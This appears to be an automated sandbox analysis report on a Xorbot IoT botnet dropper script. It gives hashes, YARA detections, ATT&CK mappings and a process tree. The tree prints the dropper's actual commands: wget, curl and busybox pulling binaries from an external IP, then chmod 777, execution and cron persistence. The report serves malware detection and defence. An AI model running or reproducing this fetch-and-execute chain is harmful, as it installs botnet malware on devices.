xorbot | 7755066b22c43471c2987cb914ace3631a6ac10c923904efafa6c9d5dc72867b

Analysis

max time kernel
150s
max time network
87s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-11-2024 20:36

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General

Target

bins.sh
Size

10KB
MD5

4340829a5d2e9e132fdbbf479f59b654
SHA1

3bb1f59713b036d0f6f68fa86ba9bfd3458ac30b
SHA256

7755066b22c43471c2987cb914ace3631a6ac10c923904efafa6c9d5dc72867b
SHA512

826ffde81e8616b9bc64473f04310122b3d039b50e63f362c092a61bb5bef855da20b7e3dc80efde1fe97549775d7d8f307f04d2b053e95d1f54d04df9201e0d
SSDEEP

192:DrM/jjo+WmjyakT/WMBb7+W0yakT/7VY/jC:DrM/jj53MBL+/jC

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-13.dat	family_xorbot
behavioral2/files/fstream-14.dat	family_xorbot
behavioral2/files/fstream-15.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
711	chmod
734	chmod
761	chmod
782	chmod
789	chmod
800	chmod
815	chmod
700	chmod

Executes dropped EXE 8 IoCs

Processes:

U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLTfuOJel5qmIniwghQsWc4u74uIHwguv1K5ksbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lNhTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5NyS2FvxcgQqRpr8VMWq1DnNFZajJkErCWxgav2XPWCwCkcniMXFBUeqhqnoNQGGugobCDuK3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5

ioc	pid	Process
/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	701	U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	712	fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
/tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN	735	sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
/tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO	763	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
/tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny	783	89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
/tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga	790	S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
/tmp/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu	801	v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
/tmp/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5	816	K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5

Renames itself 1 IoCs

Processes:

hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

pid	Process
764	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.PJEu8S	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcrontabhTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndOcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/780/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/799/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/859/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/774/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/797/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/15/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/16/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/29/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/321/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/665/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/666/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/828/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/664/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/787/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/840/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/14/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/831/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/860/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/143/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/795/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/24/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/468/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/663/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/7/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/12/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/657/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/779/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/786/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/814/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/841/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/853/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/856/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/8/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/21/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/22/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/790/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/829/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/835/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/27/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/165/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/777/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/791/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/4/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/13/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/43/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/138/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/793/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/803/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/844/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/106/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/796/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/834/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/847/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/282/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/832/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/854/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
File opened for reading	/proc/1/cmdline	hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

Writes file to tmp directory 16 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlbusyboxbusyboxbusyboxbusyboxwgetbusyboxcurlbusyboxwgetwgetwgetbusyboxbusyboxcurl

description	ioc	Process
File opened for modification	/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	curl
File opened for modification	/tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO	curl
File opened for modification	/tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny	busybox
File opened for modification	/tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga	busybox
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	busybox
File opened for modification	/tmp/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5	busybox
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	wget
File opened for modification	/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	busybox
File opened for modification	/tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN	curl
File opened for modification	/tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN	busybox
File opened for modification	/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k	wget
File opened for modification	/tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN	wget
File opened for modification	/tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO	wget
File opened for modification	/tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO	busybox
File opened for modification	/tmp/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu	busybox
File opened for modification	/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Writes file to tmp directory
  PID:675
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:690
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
  2⤵
  PID:703
- /usr/bin/wget
  wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:705
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 777 fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - File and Directory Permissions Modification
  PID:711
- /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  ./fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  - Executes dropped EXE
  PID:712
- /bin/rm
  rm fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
  2⤵
  PID:714
- /usr/bin/wget
  wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  ./sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
  2⤵
  PID:737
- /usr/bin/wget
  wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  ./hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:763
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:766
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:767
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:769
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:770
- /bin/rm
  rm hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
  2⤵
  PID:774
- /usr/bin/wget
  wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  ./89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  - Executes dropped EXE
  PID:783
- /bin/rm
  rm 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
  2⤵
  PID:785
- /usr/bin/wget
  wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  PID:786
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  PID:787
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  ./S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  PID:794
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod 777 v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  ./v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
  2⤵
  PID:804
- /usr/bin/wget
  wget http://216.126.231.240/bins/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  ./K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/riYWRIJl8oQQotyzqbhUzJRO7cEPEbOY6d
  2⤵
  PID:818

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/K3KoYKh4xPR8IdojtTmKxfd5sF7pPpAtx5

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.PJEu8S

Filesize
210B

MD5
da9b3356a0ddee0a93dbbaffe60a1a96

SHA1
fbde24b9cda774b95729582d5002960872622ffc

SHA256
f1eb670b7e635d0b6289672ee59d6ee962d6ca26ca0d42c222d095d6aeabb429

SHA512
1c0906ce0459166010d608c59e050449eced46b7e66a8aba225f1bb5c44672be3f334029de0695f56cc4d402438e6c962c5fcdf14e31395e9ebf45d6101229ee

Download Submit